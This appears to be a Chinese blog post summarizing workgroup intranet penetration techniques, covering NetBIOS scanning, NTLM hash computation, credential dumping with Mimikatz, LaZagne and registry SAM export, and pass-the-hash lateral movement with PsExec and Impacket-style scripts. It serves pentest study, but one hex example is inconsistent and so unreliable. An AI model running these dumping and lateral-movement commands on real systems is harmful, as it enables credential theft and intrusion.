0x01 工作组定义

工作组是一组计算机的集合,工作组中的计算机没有中央身份验证在网络中的地位平等,工作组中的每台计算机都充当客户端和服务器,每台机器的账号密码只是保存在自己的SAM文件中,当工作组中的用户想要访问其他用户的计算机甚至是共享资源时,他们需要在其他用户的计算机上创建其用户名和密码。

0x02 NetBIOS

网络基本输入/输出系统 (Network Basic Input/Output System, NetBIOS) 是一种标准的应用程序编程接口,NetBIOS名称解析就是NetBIOS名称映射到IP地址的过程。

nbtstat

Command: nbtstat -A 192.168.3.133

nbtscan

Windows版本

Linux版本

0x03 NT Lan Manager

NT Lan Manager的协议实现有Net-NTLMv1和Net-NTLMv2两个版本,两者响应值计算均使用了NT Hash。NTLM Hash 通常是指Windows系统下Security Account Manager数据库中保存的用户密码的Hash 值,Windows 本身不保存明文密码,只保留密码的Hash,攻击者利用获取到的NTLM Hash可进行PTH攻击。

NTLM Hash 生成原理

假设明文口令是"admin123!@#",首先将其进行十六进制转换,结果为"77696C736F6E"。

#admin123!@# -> hex = 61646d696e313233214023将其转换成Unicode字符串,结果为

"610064006d0069006e00310032003300210040002300"。

#61646d696e313233214023-> Unicode = 610064006d0069006e00310032003300210040002300

对获取的Unicode字符串

"610064006d0069006e00310032003300210040002300",进行标准MD4单向Hash运算,得到128bit的Hash值。结果为

"8f909fdb472d0b85cddb3e36669a9b07",也就得到了最后的NTLM Hash。

#610064006d0069006e00310032003300210040002300 -> MD4

= 8f909fdb472d0b85cddb3e36669a9b07

NTLM Hash 提取方式

Mimikatz

command:

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords""

SafetyKatz

LaZagne

command:

lazagne.exe all

Reg

command:

reg save hklm\sam C:\Users\Administrator\Desktop\sam.hive

reg save hklm\system C:\Users\Administrator\Desktop\system.hive

samdump2 system.hive sam.hive > ntlm_hash.txt

cat ntlm_hash.txt

0x04 认证过程

Windows Challenge/Response 认证过程

  1. 客户端发送用户名到服务器

  2. 客户端对明文口令进行Hash处理获得NTLM Hash

  3. 服务器生成一个 16字节的随机数(Challenge)发送给客户端

  4. 客户端使用NTLM Hash对Challenge进行加密,加密结果为Response-C,然后将结果发送给服务器

  5. 服务器通过用户名检索到相对应的NTLM Hash并对Challenge进行加密得到Response-S。

  6. 比较Response-S和从客户端接收到的Response-C,如果一致则认证通过。

0x05 Windows认证过程

一般来说Winlogon服务针对本地计算机上的SAM安全账户数据库来进行Windows凭据验证。通过在登录用户界面上的用户输入等方式收集凭据,本地安全信息如策略设置、账户信息等一般存储在注册表HKEY_LOCAL_MACHINE\SECURITY中,SAM数据库的备份也存在该注册表中。

winlogon.exe是负责管理安全用户交互的可执行文件,Winlogon服务通过将用户在登录桌面上输入的用户名口令信息通过Secur32.dll 传递给LSA服务后来启动Windows操作系统的登录过程。

lsass.exe主要对用户进行身份验证,将用户口令转化为NTLM Hash,同时将凭据信息存储在内存中,用户使用该凭据可访问网络资源等。

LSA凭据产生有如下几种情况:

  1. 远程桌面登录

  2. 本地登录

  3. 使用RunAs运行服务

  4. 运行计划任务或批处理

  5. 利用远程管理工具在本地计算机运行服务

0x06 Pass The Hash

PASXEC

command:

PsExec.exe \\target_ip -u username -p password cmd

PsExec.exe \\192.168.1.6 -u administrator -p Abcd1234 cmd.exe

WMIEXEC

command:

cscript.exe wmiexec.vbs /cmd domain_name username password cmd

cscript.exe wmiexec.vbs /cmd WIN-78L42RBHLLO administrator admin123!@# "ipconfig"

ATEXEC

command:

python atexec.py administrator:admin123!@#@192.168.3.133 ipconfig

SMBEXEC

command:

python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07 administrator@192.168.3.133

DCOMEXEC

command:

python dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07 administrator@192.168.3.133

参考文章

https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication

https://github.com/scallywag/nbtscan

https://raw.githubusercontent.com/iiilin/inbtscan/master/inbt.py

http://davenport.sourceforge.net/ntlm.html#theNtlmResponse

http://d1iv3.me/2018/12/08/LM-Hash%E3%80%81NTLM-Hash%E3%80%81Net-NTLMv1%E3%80%81Net-NTLMv2%E8%AF%A6%E8%A7%A3/

https://media.blackhat.com/us-13/US-13-Duckwall-Pass-the-Hash-Slides.pdf

https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm

https://www.secureauth.com/labs/open-source-tools/impacket

【湃哒星说安全】工作组环境中进行内网渗透常见方法总结相关推荐

  1. 工作组环境中配置WSUS客户端

    11.3工作组环境中配置WSUS客户端 由于WSUS的目的是为Windows 客户端提供更新,因此任何Windows操作系统都可以从WSUS服务器下载更新,但是需要通过组策略进行配置.早期版本的Win ...

  2. 内网渗透(十三)之内网信息收集-收集域环境中的基本信息

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  3. 内网渗透(十五)之内网信息收集-域环境中定位域管理员

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  4. 内网渗透-域环境的搭建

    域环境的搭建 文章目录 域环境的搭建 前言 一.什么是域环境 什么是域 内网基础知识点 二.域环境的搭建 1. 部署域结构 2.如何加入域 3.SRV出错及解决办法 4.SRV记录注册不成功的可能原因 ...

  5. 忆享科技戟星安全实验室|内网渗透神器-Viper的基本使用

    戟星安全实验室 忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试.代码审计.应急响应.漏洞研究.威胁情报.安全运维.攻防演练等 本文约1200字,阅读约需4分钟. 0x00 介绍 vipe ...

  6. Apache 2.4.7在CentOS6.4中安装配置反向代理解决单外网IP对应多个内网主机的方法实践

    欢迎转载,转载时请保留全文及出处. Apache 2.4.7在CentOS6.4中安装配置反向代理解决单外网IP对应多个内网主机的方法实践 Apache安装 下载源程序(http://httpd.ap ...

  7. vulnstack内网渗透环境靶场-1 大全

    一.搭建vulnstack靶场环境 主要以真实企业环境为实例搭建一系列靶场,通过练习另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环,下载地址: http://vulnstack ...

  8. Linux的内网渗透入门教程:第一节 通过arp欺骗进行网关劫持,截获别人手机的图片(VMware环境)

    免责声明:本人提供的任何工具.文章和知识,只可研究学习,本人对使用这些工具.文章和知识而导致的一切后果,不承担任何法律责任.请大家文明上网,远离网络非法行为! 一.引言 这是本人第一次写博客,据我一位 ...

  9. 如何搭建域环境(来自内网安全攻防)

    我们通常说的内网渗透测试,很大程度上就是与渗透测试域渗透测试.搭建域渗透测试环境,在Windows的活动目录环境下进行一系列操作,掌握其运行方法和运行机制,便于对内网的安全维护. 在该实验中,我们配置 ...

最新文章

  1. javafx FlowPane布局
  2. 【Python】校选课 第四周作业 py3.0
  3. 1亿人点赞的晚会,如何做技术沉淀?
  4. Vertx JDBC 批处理
  5. 勤哲Excel服务器在图书出版企业管理系统中的应用
  6. 【钉钉机器人 + 爬虫 + celery】定时发送微博热搜 + 定时发布财经新闻
  7. Python3自然语言处理(5)——预处理
  8. Anaconda2020安装与使用
  9. ES安装中文IK分词器
  10. 用Python做一个抢票脚本,演唱会门票轻松到手!
  11. 使用VNC连接树莓派4b如何全屏1080p分辨率,一次更改永久有效!
  12. 华为鸿蒙操作系统入门到精通,官方教程来了!
  13. swagger2-2.9.2使用过程中遇到的坑:
  14. java.lang.AbstractMethodError: dm.jdbc.driver.DmdbConnection.isValid(I)Z
  15. LGT公益创投(中国)基金项目介绍
  16. UVA - 1198 POJ - 1612 The Geodetic Set Problem (floyd+set+模拟)
  17. 还在单细胞测序?单核更出色
  18. LOJ 6436 [PKUSC 2018] 神仙的游戏
  19. 1010: 求圆的周长和面积(C语言)
  20. python项目实战——银行取款机系统(六)

热门文章

  1. 中图分类法----TU 建筑工业
  2. 左室短轴切面_一文读懂心脏超声基本切面
  3. 高级筛选条件为系别为计算机或者数学,电子表格中的高级筛选.doc
  4. 典型的多层神经网络模型,多层变量神经网络分析
  5. Archlinux双显卡安装NVIDIA闭源驱动
  6. Android手机调用系统相机拍照、裁剪以及获取Url上传图片
  7. 如何从从U盘安装windows xp到EeePC的详细流程
  8. asp mysql 留言本_手把手教你用ASP制作留言本
  9. JVM新生代Eden和survivor区别
  10. 学计算机有什么好处和坏处,学习电脑有什么好处和坏处,电脑好处和坏处有哪些?...